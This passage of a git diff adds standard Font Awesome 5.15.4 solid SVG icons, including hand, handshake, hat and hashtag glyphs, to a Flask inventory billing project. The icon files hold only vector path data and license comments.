.195-50.654 0-81.574-22.122-72.6-71.263-18.597-9.297-30.738-39.486-16.45-62.315-24.645-21.177-22.639-53.896-6.299-70.944H44.8c-24.15 0-44.8-20.201-44.8-43.826 0-23.283 21.35-43.826 44.8-43.826zM440 176h48c13.255 0 24 10.745 24 24v192c0 13.255-10.745 24-24 24h-48c-13.255 0-24-10.745-24-24V200c0-13.255 10.745-24 24-24zm24 212c11.046 0 20-8.954 20-20s-8.954-20-20-20-20 8.954-20 20 8.954 20 20 20z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-point-right.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-point-right.svg new file mode 100644 index 00000000..d17b8802 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-point-right.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M512 199.652c0 23.625-20.65 43.826-44.8 43.826h-99.851c16.34 17.048 18.346 49.766-6.299 70.944 14.288 22.829 2.147 53.017-16.45 62.315C353.574 425.878 322.654 448 272 448c-2.746 0-13.276-.203-16-.195-61.971.168-76.894-31.065-123.731-38.315C120.596 407.683 112 397.599 112 385.786V214.261l.002-.001c.011-18.366 10.607-35.889 28.464-43.845 28.886-12.994 95.413-49.038 107.534-77.323 7.797-18.194 21.384-29.084 40-29.092 34.222-.014 57.752 35.098 44.119 66.908-3.583 8.359-8.312 16.67-14.153 24.918H467.2c23.45 0 44.8 20.543 44.8 43.826zM96 200v192c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24V200c0-13.255 10.745-24 24-24h48c13.255 0 24 10.745 24 24zM68 368c0-11.046-8.954-20-20-20s-20 8.954-20 20 8.954 20 20 20 20-8.954 20-20z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-point-up.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-point-up.svg new file mode 100644 index 00000000..9caa2b15 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-point-up.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M135.652 0c23.625 0 43.826 20.65 43.826 44.8v99.851c17.048-16.34 49.766-18.346 70.944 6.299 22.829-14.288 53.017-2.147 62.315 16.45C361.878 158.426 384 189.346 384 240c0 2.746-.203 13.276-.195 16 .168 61.971-31.065 76.894-38.315 123.731C343.683 391.404 333.599 400 321.786 400H150.261l-.001-.002c-18.366-.011-35.889-10.607-43.845-28.464C93.421 342.648 57.377 276.122 29.092 264 10.897 256.203.008 242.616 0 224c-.014-34.222 35.098-57.752 66.908-44.119 8.359 3.583 16.67 8.312 24.918 14.153V44.8c0-23.45 20.543-44.8 43.826-44.8zM136 416h192c13.255 0 24 10.745 24 24v48c0 13.255-10.745 24-24 24H136c-13.255 0-24-10.745-24-24v-48c0-13.255 10.745-24 24-24zm168 28c-11.046 0-20 8.954-20 20s8.954 20 20 20 20-8.954 20-20-8.954-20-20-20z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-pointer.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-pointer.svg new file mode 100644 index 00000000..405c8d56 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-pointer.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M448 240v96c0 3.084-.356 6.159-1.063 9.162l-32 136C410.686 499.23 394.562 512 376 512H168a40.004 40.004 0 0 1-32.35-16.473l-127.997-176c-12.993-17.866-9.043-42.883 8.822-55.876 17.867-12.994 42.884-9.043 55.877 8.823L104 315.992V40c0-22.091 17.908-40 40-40s40 17.909 40 40v200h8v-40c0-22.091 17.908-40 40-40s40 17.909 40 40v40h8v-24c0-22.091 17.908-40 40-40s40 17.909 40 40v24h8c0-22.091 17.908-40 40-40s40 17.909 40 40zm-256 80h-8v96h8v-96zm88 0h-8v96h8v-96zm88 0h-8v96h8v-96z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-rock.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-rock.svg new file mode 100644 index 00000000..e8dbdd0a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-rock.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M464.8 80c-26.9-.4-48.8 21.2-48.8 48h-8V96.8c0-26.3-20.9-48.3-47.2-48.8-26.9-.4-48.8 21.2-48.8 48v32h-8V80.8c0-26.3-20.9-48.3-47.2-48.8-26.9-.4-48.8 21.2-48.8 48v48h-8V96.8c0-26.3-20.9-48.3-47.2-48.8-26.9-.4-48.8 21.2-48.8 48v136l-8-7.1v-48.1c0-26.3-20.9-48.3-47.2-48.8C21.9 127.6 0 149.2 0 176v66.4c0 27.4 11.7 53.5 32.2 71.8l111.7 99.3c10.2 9.1 16.1 22.2 16.1 35.9v6.7c0 13.3 10.7 24 24 24h240c13.3 0 24-10.7 24-24v-2.9c0-12.8 2.6-25.5 7.5-37.3l49-116.3c5-11.8 7.5-24.5 7.5-37.3V128.8c0-26.3-20.9-48.4-47.2-48.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-scissors.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-scissors.svg new file mode 100644 index 00000000..c15a769c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-scissors.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M216 440c0-22.092 17.909-40 40-40v-8h-32c-22.091 0-40-17.908-40-40s17.909-40 40-40h32v-8H48c-26.51 0-48-21.49-48-48s21.49-48 48-48h208v-13.572l-177.551-69.74c-24.674-9.694-36.818-37.555-27.125-62.228 9.693-24.674 37.554-36.817 62.228-27.124l190.342 74.765 24.872-31.09c12.306-15.381 33.978-19.515 51.081-9.741l112 64A40.002 40.002 0 0 1 512 168v240c0 18.562-12.77 34.686-30.838 38.937l-136 32A39.982 39.982 0 0 1 336 480h-80c-22.091 0-40-17.908-40-40z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-sparkles.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-sparkles.svg new file mode 100644 index 00000000..c4942eb3 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-sparkles.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M106.66,170.64l.09,0,49.55-20.65a7.32,7.32,0,0,0,3.68-6h0a7.29,7.29,0,0,0-3.68-6l-49.57-20.67-.07,0L86,67.68a6.66,6.66,0,0,0-11.92,0l-20.7,49.63-.05,0L3.7,138A7.29,7.29,0,0,0,0,144H0a7.32,7.32,0,0,0,3.68,6L53.27,170.6l.07,0L74,220.26a6.65,6.65,0,0,0,11.92,0l20.69-49.62ZM471.38,467.41l-1-.42-1-.5a38.67,38.67,0,0,1,0-69.14l1-.49,1-.43,37.49-15.63,15.63-37.48.41-1,.47-.95c3.85-7.74,10.58-13.63,18.35-17.34,0-1.33.25-2.69.27-4V144a32,32,0,0,0-64,0v72a8,8,0,0,1-8,8H456a8,8,0,0,1-8-8V64a32,32,0,0,0-64,0V216a8,8,0,0,1-8,8H360a8,8,0,0,1-8-8V32a32,32,0,0,0-64,0V216a8,8,0,0,1-8,8H264a8,8,0,0,1-8-8V64a32,32,0,0,0-64,0v241l-23.59-32.49a40,40,0,0,0-64.71,47.09L229.3,492.21A48.07,48.07,0,0,0,268.09,512H465.7c19.24,0,35.65-11.73,43.24-28.79l-.07-.17ZM349.79,339.52,320,351.93l-12.42,29.78a4,4,0,0,1-7.15,0L288,351.93l-29.79-12.41a4,4,0,0,1,0-7.16L288,319.94l12.42-29.78a4,4,0,0,1,7.15,0L320,319.94l29.79,12.42a4,4,0,0,1,0,7.16ZM640,431.91a7.28,7.28,0,0,0-3.68-6l-49.57-20.67-.07,0L566,355.63a6.66,6.66,0,0,0-11.92,0l-20.7,49.63-.05,0L483.7,426a7.28,7.28,0,0,0-3.68,6h0a7.29,7.29,0,0,0,3.68,5.95l49.57,20.67.07,0L554,508.21a6.65,6.65,0,0,0,11.92,0l20.69-49.62h0l.09,0,49.55-20.66a7.29,7.29,0,0,0,3.68-5.95h0Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-spock.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-spock.svg new file mode 100644 index 00000000..fb6533cb --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-spock.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M510.9005,145.27027,442.604,432.09391A103.99507,103.99507,0,0,1,341.43745,512H214.074a135.96968,135.96968,0,0,1-93.18489-36.95291L12.59072,373.12723a39.992,39.992,0,0,1,54.8122-58.24988l60.59342,57.02528v0a283.24849,283.24849,0,0,0-11.6703-80.46734L73.63726,147.36011a40.00575,40.00575,0,1,1,76.71833-22.7187l37.15458,125.39477a8.33113,8.33113,0,0,0,16.05656-4.4414L153.26183,49.95406A39.99638,39.99638,0,1,1,230.73015,30.0166l56.09491,218.15825a10.42047,10.42047,0,0,0,20.30018-.501L344.80766,63.96966a40.052,40.052,0,0,1,51.30245-30.0893c19.86073,6.2998,30.86262,27.67378,26.67564,48.08487l-33.83869,164.966a7.55172,7.55172,0,0,0,14.74406,3.2666l29.3973-123.45874a39.99414,39.99414,0,1,1,77.81208,18.53121Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hands-helping.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hands-helping.svg new file mode 100644 index 00000000..638b9281 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hands-helping.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M488 192H336v56c0 39.7-32.3 72-72 72s-72-32.3-72-72V126.4l-64.9 39C107.8 176.9 96 197.8 96 220.2v47.3l-80 46.2C.7 322.5-4.6 342.1 4.3 357.4l80 138.6c8.8 15.3 28.4 20.5 43.7 11.7L231.4 448H368c35.3 0 64-28.7 64-64h16c17.7 0 32-14.3 32-32v-64h8c13.3 0 24-10.7 24-24v-48c0-13.3-10.7-24-24-24zm147.7-37.4L555.7 16C546.9.7 527.3-4.5 512 4.3L408.6 64H306.4c-12 0-23.7 3.4-33.9 9.7L239 94.6c-9.4 5.8-15 16.1-15 27.1V248c0 22.1 17.9 40 40 40s40-17.9 40-40v-88h184c30.9 0 56 25.1 56 56v28.5l80-46.2c15.3-8.9 20.5-28.4 11.7-43.7z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hands-wash.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hands-wash.svg new file mode 100644 index 00000000..a3ed507a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hands-wash.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M496,224a48,48,0,1,0-48-48A48,48,0,0,0,496,224ZM311.47,178.45A56.77,56.77,0,0,1,328,176a56,56,0,0,1,19,3.49l15.35-48.61A24,24,0,0,0,342,99.74c-11.53-1.35-22.21,6.44-25.71,17.51l-20.9,66.17ZM93.65,386.33c.8-.19,1.54-.54,2.35-.71V359.93a156,156,0,0,1,107.06-148l73.7-22.76L310.92,81.05a24,24,0,0,0-20.33-31.11c-11.53-1.34-22.22,6.45-25.72,17.52L231.42,173.88a8,8,0,0,1-15.26-4.83L259.53,31.26A24,24,0,0,0,239.2.15C227.67-1.19,217,6.6,213.49,17.66L165.56,169.37a8,8,0,1,1-15.26-4.82l38.56-122a24,24,0,0,0-20.33-31.11C157,10,146.32,17.83,142.82,28.9l-60,189.85L80.76,168.7A24,24,0,0,0,56.9,144.55c-13.23-.05-24.72,10.54-24.9,23.86V281.14A123.69,123.69,0,0,0,93.65,386.33ZM519.1,336H360a8,8,0,0,1,0-16H488a24,24,0,0,0,23.54-28.76C509.35,279.84,498.71,272,487.1,272H288l47.09-17.06a24,24,0,0,0-14.18-45.88L213.19,242.31A123.88,123.88,0,0,0,128,360v25.65a79.78,79.78,0,0,1,58,108.63A118.9,118.9,0,0,0,248,512H456a24,24,0,0,0,23.54-28.76C477.35,471.84,466.71,464,455.1,464H360a8,8,0,0,1,0-16H488a24,24,0,0,0,23.54-28.76C509.35,407.84,498.71,400,487.1,400H360a8,8,0,0,1,0-16H520a24,24,0,0,0,23.54-28.76C541.35,343.84,530.71,336,519.1,336ZM416,64a32,32,0,1,0-32-32A32,32,0,0,0,416,64ZM112,416a48,48,0,1,0,48,48A48,48,0,0,0,112,416Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hands.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hands.svg new file mode 100644 index 00000000..f3da1b91 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hands.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M204.8 230.4c-10.6-14.1-30.7-17-44.8-6.4-14.1 10.6-17 30.7-6.4 44.8l38.1 50.8c4.8 6.4 4.1 15.3-1.5 20.9l-12.8 12.8c-6.7 6.7-17.6 6.2-23.6-1.1L64 244.4V96c0-17.7-14.3-32-32-32S0 78.3 0 96v218.4c0 10.9 3.7 21.5 10.5 30l104.1 134.3c5 6.5 8.4 13.9 10.4 21.7 1.8 6.9 8.1 11.6 15.3 11.6H272c8.8 0 16-7.2 16-16V384c0-27.7-9-54.6-25.6-76.8l-57.6-76.8zM608 64c-17.7 0-32 14.3-32 32v148.4l-89.8 107.8c-6 7.2-17 7.7-23.6 1.1l-12.8-12.8c-5.6-5.6-6.3-14.5-1.5-20.9l38.1-50.8c10.6-14.1 7.7-34.2-6.4-44.8-14.1-10.6-34.2-7.7-44.8 6.4l-57.6 76.8C361 329.4 352 356.3 352 384v112c0 8.8 7.2 16 16 16h131.7c7.1 0 13.5-4.7 15.3-11.6 2-7.8 5.4-15.2 10.4-21.7l104.1-134.3c6.8-8.5 10.5-19.1 10.5-30V96c0-17.7-14.3-32-32-32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/handshake-alt-slash.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/handshake-alt-slash.svg new file mode 100644 index 00000000..d94108e4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/handshake-alt-slash.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M358.59,195.6,504.2,313.8a63.4,63.4,0,0,1,22.21,37.91H624a16.05,16.05,0,0,0,16-16V143.91A16,16,0,0,0,624,128H512L457.41,73.41A32,32,0,0,0,434.8,64H348.91a32,32,0,0,0-21.61,8.41l-88.12,80.68-25.69-19.85L289.09,64H205.3a32,32,0,0,0-22.6,9.41l-20.34,20.3L45.47,3.38A16,16,0,0,0,23,6.19L3.38,31.46A16,16,0,0,0,6.19,53.91L594.54,508.63A16,16,0,0,0,617,505.82l19.64-25.27a16,16,0,0,0-2.81-22.45L303.4,202.72l32.69-29.92,27-24.7a16,16,0,0,1,21.61,23.61ZM16,128A16.05,16.05,0,0,0,0,144V335.91a16,16,0,0,0,16,16H146.3l90.5,81.89a64,64,0,0,0,90-9.3l.2-.2,17.91,15.5a37.16,37.16,0,0,0,52.29-5.39l8.8-10.82L23.56,128Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/handshake-slash.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/handshake-slash.svg new file mode 100644 index 00000000..dcbc2d52 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/handshake-slash.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0,128.21V384H64a32,32,0,0,0,32-32V184L23.83,128.21ZM48,320.1a16,16,0,1,1-16,16A16,16,0,0,1,48,320.1Zm80,31.81h18.3l90.5,81.89a64,64,0,0,0,90-9.3l.2-.2,17.91,15.5a37.16,37.16,0,0,0,52.29-5.39l8.8-10.82L128,208.72Zm416-223.7V352.1a32,32,0,0,0,32,32h64V128.21ZM592,352.1a16,16,0,1,1,16-16A16,16,0,0,1,592,352.1ZM303.33,202.67l59.58-54.57a16,16,0,0,1,21.59,23.61L358.41,195.6,504,313.8a73.08,73.08,0,0,1,7.91,7.7V128L457.3,73.41A31.76,31.76,0,0,0,434.7,64H348.8a31.93,31.93,0,0,0-21.6,8.41l-88.07,80.64-25.64-19.81L289.09,64H205.3a32,32,0,0,0-22.6,9.41L162.36,93.72,45.47,3.38A16,16,0,0,0,23,6.19L3.38,31.46A16,16,0,0,0,6.19,53.91L594.53,508.63A16,16,0,0,0,617,505.82l19.65-25.27a16,16,0,0,0-2.82-22.45Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/handshake.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/handshake.svg new file mode 100644 index 00000000..5d1eacef --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/handshake.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M434.7 64h-85.9c-8 0-15.7 3-21.6 8.4l-98.3 90c-.1.1-.2.3-.3.4-16.6 15.6-16.3 40.5-2.1 56 12.7 13.9 39.4 17.6 56.1 2.7.1-.1.3-.1.4-.2l79.9-73.2c6.5-5.9 16.7-5.5 22.6 1 6 6.5 5.5 16.6-1 22.6l-26.1 23.9L504 313.8c2.9 2.4 5.5 5 7.9 7.7V128l-54.6-54.6c-5.9-6-14.1-9.4-22.6-9.4zM544 128.2v223.9c0 17.7 14.3 32 32 32h64V128.2h-96zm48 223.9c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zM0 384h64c17.7 0 32-14.3 32-32V128.2H0V384zm48-63.9c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16c0-8.9 7.2-16 16-16zm435.9 18.6L334.6 217.5l-30 27.5c-29.7 27.1-75.2 24.5-101.7-4.4-26.9-29.4-24.8-74.9 4.4-101.7L289.1 64h-83.8c-8.5 0-16.6 3.4-22.6 9.4L128 128v223.9h18.3l90.5 81.9c27.4 22.3 67.7 18.1 90-9.3l.2-.2 17.9 15.5c15.9 13 39.4 10.5 52.3-5.4l31.4-38.6 5.4 4.4c13.7 11.1 33.9 9.1 45-4.7l9.5-11.7c11.2-13.8 9.1-33.9-4.6-45.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hanukiah.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hanukiah.svg new file mode 100644 index 00000000..5602f008 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hanukiah.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M232 160c-4.42 0-8 3.58-8 8v120h32V168c0-4.42-3.58-8-8-8h-16zm-64 0c-4.42 0-8 3.58-8 8v120h32V168c0-4.42-3.58-8-8-8h-16zm224 0c-4.42 0-8 3.58-8 8v120h32V168c0-4.42-3.58-8-8-8h-16zm64 0c-4.42 0-8 3.58-8 8v120h32V168c0-4.42-3.58-8-8-8h-16zm88 8c0-4.42-3.58-8-8-8h-16c-4.42 0-8 3.58-8 8v120h32V168zm-440-8c-4.42 0-8 3.58-8 8v120h32V168c0-4.42-3.58-8-8-8h-16zm520 0h-32c-8.84 0-16 7.16-16 16v112c0 17.67-14.33 32-32 32H352V128c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v192H96c-17.67 0-32-14.33-32-32V176c0-8.84-7.16-16-16-16H16c-8.84 0-16 7.16-16 16v112c0 53.02 42.98 96 96 96h192v64H112c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h416c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16H352v-64h192c53.02 0 96-42.98 96-96V176c0-8.84-7.16-16-16-16zm-16-32c13.25 0 24-11.94 24-26.67S608 48 608 48s-24 38.61-24 53.33S594.75 128 608 128zm-576 0c13.25 0 24-11.94 24-26.67S32 48 32 48 8 86.61 8 101.33 18.75 128 32 128zm288-48c13.25 0 24-11.94 24-26.67S320 0 320 0s-24 38.61-24 53.33S306.75 80 320 80zm-208 48c13.25 0 24-11.94 24-26.67S112 48 112 48s-24 38.61-24 53.33S98.75 128 112 128zm64 0c13.25 0 24-11.94 24-26.67S176 48 176 48s-24 38.61-24 53.33S162.75 128 176 128zm64 0c13.25 0 24-11.94 24-26.67S240 48 240 48s-24 38.61-24 53.33S226.75 128 240 128zm160 0c13.25 0 24-11.94 24-26.67S400 48 400 48s-24 38.61-24 53.33S386.75 128 400 128zm64 0c13.25 0 24-11.94 24-26.67S464 48 464 48s-24 38.61-24 53.33S450.75 128 464 128zm64 0c13.25 0 24-11.94 24-26.67S528 48 528 48s-24 38.61-24 53.33S514.75 128 528 128z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hard-hat.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hard-hat.svg new file mode 100644 index 00000000..900c57b6 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hard-hat.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M480 288c0-80.25-49.28-148.92-119.19-177.62L320 192V80a16 16 0 0 0-16-16h-96a16 16 0 0 0-16 16v112l-40.81-81.62C81.28 139.08 32 207.75 32 288v64h448zm16 96H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h480a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hashtag.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hashtag.svg new file mode 100644 index 00000000..7693834c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hashtag.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M440.667 182.109l7.143-40c1.313-7.355-4.342-14.109-11.813-14.109h-74.81l14.623-81.891C377.123 38.754 371.468 32 363.997 32h-40.632a12 12 0 0 0-11.813 9.891L296.175 128H197.54l14.623-81.891C213.477 38.754 207.822 32 200.35 32h-40.632a12 12 0 0 0-11.813 9.891L132.528 128H53.432a12 12 0 0 0-11.813 9.891l-7.143 40C33.163 185.246 38.818 192 46.289 192h74.81L98.242 320H19.146a12 12 0 0 0-11.813 9.891l-7.143 40C-1.123 377.246 4.532 384 12.003 384h74.81L72.19 465.891C70.877 473.246 76.532 480 84.003 480h40.632a12 12 0 0 0 11.813-9.891L151.826 384h98.634l-14.623 81.891C234.523 473.246 240.178 480 247.65 480h40.632a12 12 0 0 0 11.813-9.891L315.472 384h79.096a12 12 0 0 0 11.813-9.891l7.143-40c1.313-7.355-4.342-14.109-11.813-14.109h-74.81l22.857-128h79.096a12 12 0 0 0 11.813-9.891zM261.889 320h-98.634l22.857-128h98.634l-22.857 128z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hat-cowboy-side.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hat-cowboy-side.svg new file mode 100644 index 00000000..e506a43b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hat-cowboy-side.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M260.8 291.06c-28.63-22.94-62-35.06-96.4-35.06C87 256 21.47 318.72 1.43 412.06c-3.55 16.6-.43 33.83 8.57 47.3C18.75 472.47 31.83 480 45.88 480H592c-103.21 0-155-37.07-233.19-104.46zm234.65-18.29L468.4 116.2A64 64 0 0 0 392 64.41L200.85 105a64 64 0 0 0-50.35 55.79L143.61 226c6.9-.83 13.7-2 20.79-2 41.79 0 82 14.55 117.29 42.82l98 84.48C450.76 412.54 494.9 448 592 448a48 48 0 0 0 48-48c0-25.39-29.6-119.33-144.55-127.23z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hat-cowboy.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hat-cowboy.svg new file mode 100644 index 00000000..055e0486 --- 